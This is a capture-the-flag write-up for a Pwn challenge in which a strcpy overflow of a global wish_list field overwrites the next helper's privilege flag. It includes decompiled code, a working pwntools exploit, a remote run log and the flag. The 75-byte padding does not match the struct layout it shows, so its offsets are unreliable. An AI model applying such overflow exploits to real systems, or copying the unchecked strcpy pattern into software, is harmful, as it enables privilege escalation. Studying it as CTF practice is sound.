newyearshow

Category: Pwn
Files: newyear_party
Description: Wow, I've never seen a show like this before.

Starting with the binary’s security mitigations:

❯  checksec newyear_party
    Arch:       amd64-64-little
    RELRO:        Full RELRO
    Stack:        No canary found
    NX:           NX enabled
    PIE:          PIE enabled
    SHSTK:        Enabled
    IBT:          Enabled
    Stripped:     No
    Debuginfo:    Yes

The binary has PIE and NX enabled, but lacks a stack canary. Since the vulnerability involves a global (BSS) buffer overflow, the stack canary and NX protections don’t prevent us from corrupting adjacent global variables.

Program Analysis

In this challenge, we were given a binary named newyearshow. Let’s try to examine the decompiled code.

Data Structures

The program organizes data using a global array of Helper structures stored in the .bss section:

1
typedef struct {
2
    int is_santa;        // 0 = Regular Helper, 1 = Santa Claus
3
    char username[44];   // Helper's public name
4
    char password[32];   // Secret login phrase
5
    char wish_list[56];  // The user's holiday wishes
6
} Helper;
7

8
Helper helpers[10]; // Global table in BSS

Each helper is represented by a structure packed contiguously in memory. As we’ll see, the proximity of these fields in the .bss section is central to the challenge.

main

1
int main(void) {
2
    setvbuf(stdout, (char *)0x0, 2, 0);
3
    setvbuf(stdin, (char *)0x0, 2, 0);
4
    initialize_santa(); // Pre-populates the first slots
5
    main_menu();        // Interactive loop
6
    return 0;
7
}

The main() function initializes the environment by setting up unbuffered I/O, pre-populating the helpers array with some initial data via initialize_santa(), and then handing control over to the interactive main_menu().

main_menu

1
void main_menu(void) {
2
    int choice;
3
    char wish_buffer[112];
4
    char password_buffer[32];
5
    char username_buffer[44];
6

7
    while (1) {
8
        display_main_menu();
9
        if (scanf("%d", &choice) != 1) {
10
            getchar(); // clear invalid input
11
            continue;
12
        }
13
        getchar(); // consume newline
14

15
        if (choice == 1) {
16
            printf("Enter your name: ");
17
            scanf("%43s", username_buffer);
18
            printf("Enter the secret phrase: ");
19
            scanf("%31s", password_buffer);
20
            login_helper(username_buffer, password_buffer);
21
        }
22
        else if (choice == 2) {
23
            printf("Enter your desired name: ");
24
            scanf("%43s", username_buffer);
25
            printf("Create a secret phrase: ");
26
            scanf("%31s", password_buffer);
27
            printf("What is on your wish list?: ");
28
            scanf("%111s", wish_buffer);
29
            register_helper(username_buffer, password_buffer, wish_buffer);
30
        }
31
        else if (choice == 3) {
32
            display_all_helpers();
33
        }
34
        // ...
35
    }
36
}

The main_menu() handles the primary user interactions, allowing users to sign in, register as a helper, or view all registered helpers. Notably, the wish_buffer used for registration is 112 bytes long, which matches the size used in the scanf() call.

register_helper

1
void register_helper(char *username, char *password, char *wish) {
2
    int i;
3
    // ... check for existing name ...
4
    for (i = 0; i < 10; i++) {
5
        if (helpers[i].username[0] == '\0') {
6
            helpers[i].is_santa = 0;
7
            strcpy(helpers[i].username, username);
8
            strcpy(helpers[i].password, password);
9
            strcpy(helpers[i].wish_list, wish);
10
            printf("Welcome to the workshop, %s!\n", username);
11
            return;
12
        }
13
    }
14
    // ...
15
}

The register_helper() function adds a new entry to the helpers array. It explicitly sets the is_santa flag to 0. However, there’s a potential issue: it uses strcpy() to copy the wish argument into helpers[i].wish_list. If the input wish is longer than 56 bytes, it will overflow into the next structure in the .bss section.

update_wish_list

1
void update_wish_list(Helper *helper) {
2
    char new_wish_buffer[112];
3
    printf("Enter your new wish list: ");
4
    scanf("%111s", new_wish_buffer);
5
    strcpy(helper->wish_list, new_wish_buffer); // [!] VULNERABILITY
6
    puts("Your wish list has been updated!");
7
}

This is where the core vulnerability lies. The update_wish_list() function allows a signed-in user to update their wish_list. It reads up to 111 bytes into a local buffer and then uses strcpy() to copy it into the helper->wish_list field, which is only 56 bytes. This leads to a BSS Overflow, allowing us to overwrite the fields of the next helper in the array.

get_special_gift

1
void get_special_gift(void) {
2
    FILE *fp = fopen("flag.txt", "r");
3
    // ... read and print flag ...
4
}

The get_special_gift() function is the ultimate goal. It is called from the helper_menu() if the condition if (helper->is_santa == 1) is met. By leveraging the BSS overflow in update_wish_list(), we can overwrite the is_santa field of a helper we control (or one we register subsequently) to gain access to the flag.

Now that we know the bug, let’s move to the exploitation part.

Exploitation

Memory Layout & Overflow

Because the helpers array is in the .bss section, the structures are laid out contiguously:

+------------------------+
|   is_santa (4 bytes)   |  <--- helpers[i].is_santa
+------------------------+
|  username (44 bytes)   |
+------------------------+
|  password (32 bytes)   |
+------------------------+
|  wish_list (56 bytes)  |  <--- Payload start
+------------------------+
|   is_santa (4 bytes)   |  <--- helpers[i+1].is_santa OVERWRITTEN
+------------------------+

By overflowing helpers[i].wish_list, we can directly reach and overwrite helpers[i+1].is_santa.

Preparation: Register two helpers (Helper and Santa).
Corruption: Sign in as Helper and trigger the overflow via the wishlist update.
Payload: Use 75 bytes of padding to reach the next slot’s is_santa field and set it to 1.
Retrieval: Sign in as Santa and grab the flag.

Exploit Script

1
from pwn import *
2

3
def start(argv=[], *a, **kw):
4
    if args.GDB:
5
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
6
    elif args.REMOTE:
7
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
8
    else:
9
        return process([exe] + argv, *a, **kw)
10

11
gdbscript = '''
12
init-pwndbg
13
set follow-fork-mode parent
14
set follow-exec-mode same
15
continue
16
'''.format(**locals())
17

18
exe = './newyear_party'
19
elf = context.binary = ELF(exe, checksec=False)
20
context.terminal = ['tmux', 'splitw', '-h']
21
context.log_level = 'debug'
22

23
def sa(delim,data): return io.sendafter(delim,data)
24
def sla(delim,line): return io.sendlineafter(delim,line)
25
def sl(line): return io.sendline(line)
26

27
io = start()
28

29
def register(name,secret,list):
30
    sla(b"> ", b"2")
31
    sla(b"name: ", str(name).encode())
32
    sla(b"phrase: ", str(secret).encode())
33
    sla(b"list?: ", str(list).encode())
34

35
def signin(name,secret):
36
    sla(b"> ", b"1")
37
    sla(b"name: ", str(name).encode())
38
    sla(b"phrase: ", str(secret).encode())
39

40
# 1. Register two helpers
41
register(b'Helper', b'pass', b'wish')
42
register(b'Santa', b'pass', b'wish')
43

44
# 2. Sign in as the first helper
45
signin(b'Helper', b'pass')
46

47
# 3. Payload: 75 bytes of padding + p32(1) to set is_santa = 1
48
payload = b"C" * 75 + p32(1)
49

50
# 4. Overwrite next helper's status
51
sla(b"> ", b"2")
52
sla(b": ", payload)
53

54
# 5. Switch to the now-elevated Santa
55
sla(b"> ", b"4")
56
signin(b'Santa', b'pass')
57

58
# 6. Retrieve flag
59
sla(b"> ", b"3")
60

61
io.interactive()

Running the exploit successfully elevates our privileges and retrieves the flag.

$ python3 xploit.py REMOTE ctf.mf.grsu.by 9074
[+] Opening connection to ctf.mf.grsu.by on port 9074: Done
[DEBUG] Sent 0x50 bytes:
    00000000  43 43 43 43  43 43 43 43  43 43 43 43  43 43 43 43  │CCCC│CCCC│CCCC│CCCC│
    *
    00000040  43 43 43 43  43 43 43 43  43 43 43 01  00 00 00 0a  │CCCC│CCCC│CCC·│····│
[*] Switching to interactive mode
Your Special Gift: grodno{c42495659aa498fb2bc873758a5909cf}

Flag: grodno{c42495659aa498fb2bc873758a5909cf}